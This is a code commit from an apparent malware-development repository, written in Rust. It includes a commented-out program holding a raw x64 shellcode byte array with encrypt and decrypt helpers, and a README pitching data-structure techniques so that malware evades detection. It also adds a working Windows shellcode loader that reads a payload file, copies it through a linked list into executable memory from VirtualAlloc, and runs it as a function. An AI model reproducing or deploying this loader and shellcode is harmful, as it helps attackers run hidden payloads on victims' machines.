ShellExec through LinkedList and fn()

Author: Whitecat18

Encryption Methods/nullxfigure/tester/src/main.rs

@@ -1,85 +1,97 @@
-mod encrypt;
-mod decrypt;
+// mod encrypt;
+// mod decrypt;
 
-use std::collections::HashMap;
+// use std::collections::HashMap;
 
-fn main() {
-    // Example shellcode
-    let shellcode = [
-        0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,
-        0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
-        0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,
-        0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,
-        0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
-        0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
-        0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,
-        0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,
-        0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,
-        0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
-        0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
-        0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
-        0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,
-        0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,
-        0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,
-        0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,
-        0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,
-        0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,
-        0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e,
-        0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26,
-        0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,
-        0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01,
-        0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
-        0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,
-        0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73,
-        0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e,
-        0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73,
-        0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00
-    ];
+// fn main() {
+//     // Example shellcode
+//     let shellcode = [
+//         0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,
+//         0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
+//         0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,
+//         0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,
+//         0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
+//         0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
+//         0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,
+//         0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,
+//         0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,
+//         0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
+//         0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
+//         0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
+//         0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,
+//         0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,
+//         0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,
+//         0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,
+//         0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,
+//         0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,
+//         0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e,
+//         0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26,
+//         0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,
+//         0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01,
+//         0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
+//         0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,
+//         0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73,
+//         0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e,
+//         0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73,
+//         0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00
+//     ];
 
 
-    let false_byte = 0x00;
-    let mut shellcode_map = HashMap::new();
+//     let false_byte = 0x00;
+//     let mut shellcode_map = HashMap::new();
 
-    let encrypted_shellcode = encrypt::encrypt_shellcode(&shellcode, false_byte);
-    // println!("Encrypted Shellcode: {:x?}", encrypted_shellcode);
+//     let encrypted_shellcode = encrypt::encrypt_shellcode(&shellcode, false_byte);
+//     // println!("Encrypted Shellcode: {:x?}", encrypted_shellcode);
 
-    println!("Encrypted Shellcode: [");
-    let mut x = 1;
-    for byte in encrypted_shellcode.iter(){
-        print!("0x{:x?}, ", byte);
-        if x % 8 == 0{
-            println!();
-            x = 0;
-        }
-        x += 1;
-    }
+//     println!("Encrypted Shellcode: [");
+//     let mut x = 1;
+//     for byte in encrypted_shellcode.iter(){
+//         print!("0x{:x?}, ", byte);
+//         if x % 8 == 0{
+//             println!();
+//             x = 0;
+//         }
+//         x += 1;
+//     }
 
-    println!("]");
+//     println!("]");
 
-    println!("\n\n");
-    encrypt::store_shellcode(&mut shellcode_map, "example", &shellcode);
+//     println!("\n\n");
+//     encrypt::store_shellcode(&mut shellcode_map, "example", &shellcode);
 
-    let decrypted_shellcode = decrypt::decrypt_shellcode(&encrypted_shellcode);
-    // println!("Decrypted Shellcode: {:x?}", decrypted_shellcode);
+//     let decrypted_shellcode = decrypt::decrypt_shellcode(&encrypted_shellcode);
+//     // println!("Decrypted Shellcode: {:x?}", decrypted_shellcode);
 
 
-    println!("Decrypted Shellcode: [");
-    let mut x = 1;
-    for byte in decrypted_shellcode.iter(){
-        print!("0x{:x?}, ", byte);
-        if x % 8 == 0{
-            println!();
-            x = 0;
-        }
-        x += 1;
-    }
+//     println!("Decrypted Shellcode: [");
+//     let mut x = 1;
+//     for byte in decrypted_shellcode.iter(){
+//         print!("0x{:x?}, ", byte);
+//         if x % 8 == 0{
+//             println!();
+//             x = 0;
+//         }
+//         x += 1;
+//     }
 
-    println!("]");
-    println!("\n\n");
+//     println!("]");
+//     println!("\n\n");
+
+//     if let Some(original_shellcode) = decrypt::get_original_shellcode(&shellcode_map, "example") {
+//         println!("Original Shellcode: {:x?}", original_shellcode);
+//     } else {
+//         eprintln!("Original shellcode not found in map.");
+//     }
+// }
+
 
-    if let Some(original_shellcode) = decrypt::get_original_shellcode(&shellcode_map, "example") {
-        println!("Original Shellcode: {:x?}", original_shellcode);
-    } else {
-        eprintln!("Original shellcode not found in map.");
-    }
+fn consume_self<F>(func: F) where F: FnOnce() {
+    func();
+}
+
+fn main() {
+    let message = "Hello".to_string();
+    consume_self(move || {
+        println!("{}", message);
+    }); 
 }

shellcode_exec/DSA_Exec/README.md

@@ -0,0 +1,12 @@
+## DSA SHellcode Execution Methods
+
+This is my small series about using data structures and algorithms on malware development series.
+Feel feel to DM me if you have implemented any Execution methods using DSA Concepts.
+
+### Why DSA ?
+
+Using DSA Will give malware an great advantage to evade detection and optimize the execution speed and efficiency of shellcode, making attacks quicker and less resource-intensive.
+
+Author: [@5mukx](https://x.com/5mukx)
+
+

shellcode_exec/DSA_Exec/linked_list.rs

@@ -0,0 +1,83 @@
+/*
+ * Using LinkedList to Execute Shellcode
+ * Author : @5mukx
+ */
+
+use std::{fs::File, io::{self, Read}, path::Path, ptr::null_mut};
+
+use winapi::um::{errhandlingapi::GetLastError, memoryapi::VirtualAlloc};
+
+fn read_shellcode(file_path: &str) -> io::Result<Vec<u8>>{
+    let path = Path::new(file_path);
+    let mut file = File::open(&path)?;
+    let mut shellcode = Vec::new();
+    file.read_to_end(&mut shellcode)?;
+    Ok(shellcode)
+}
+
+struct Node{
+    data: u8,
+    next: Option<Box<Node>>
+}
+
+impl Node {
+    fn new(data: u8) -> Node {
+        Node { data, next: None }
+    }
+
+    fn append(&mut self, data: u8) {
+        match self.next {
+            None => self.next = Some(Box::new(Node::new(data))),
+            Some(ref mut child) => child.append(data),
+        }
+    }
+}
+
+fn main(){
+    let path = r"D:\\maldev\importer\message.bin";
+
+    match read_shellcode(path) {
+        Ok(shellcode) =>{
+            println!("Shell Exists. Executing Shellcode");
+            execute_shellcode(shellcode);
+        },
+        Err(e) => eprintln!("Failed to read shellcode: {}", e),
+    }
+
+}
+
+fn execute_shellcode(shellcode: Vec<u8>){
+
+    let mut list_head = Node::new(0);
+
+    for &byte in &shellcode {
+        list_head.append(byte);
+    }  
+
+    unsafe {
+        let mem = VirtualAlloc(
+            null_mut(),
+            shellcode.len(),
+        /*  0x1000 | 0x2000, */ 0x1000,
+            0x40,
+        );
+
+        if mem.is_null(){
+            println!("VirtualAlloc FAILED: {:?}", GetLastError());
+            return;
+        }
+
+        let mut current = Some(&list_head);
+        let mut ptr = mem as *mut u8;
+
+        while let Some(node) = current {
+            *ptr = node.data;
+            ptr = ptr.add(1);
+            current = node.next.as_ref().map(|n| n.as_ref());
+        }
+
+        let shellcode_runner: fn() = std::mem::transmute(mem);
+    
+        shellcode_runner();
+    }
+}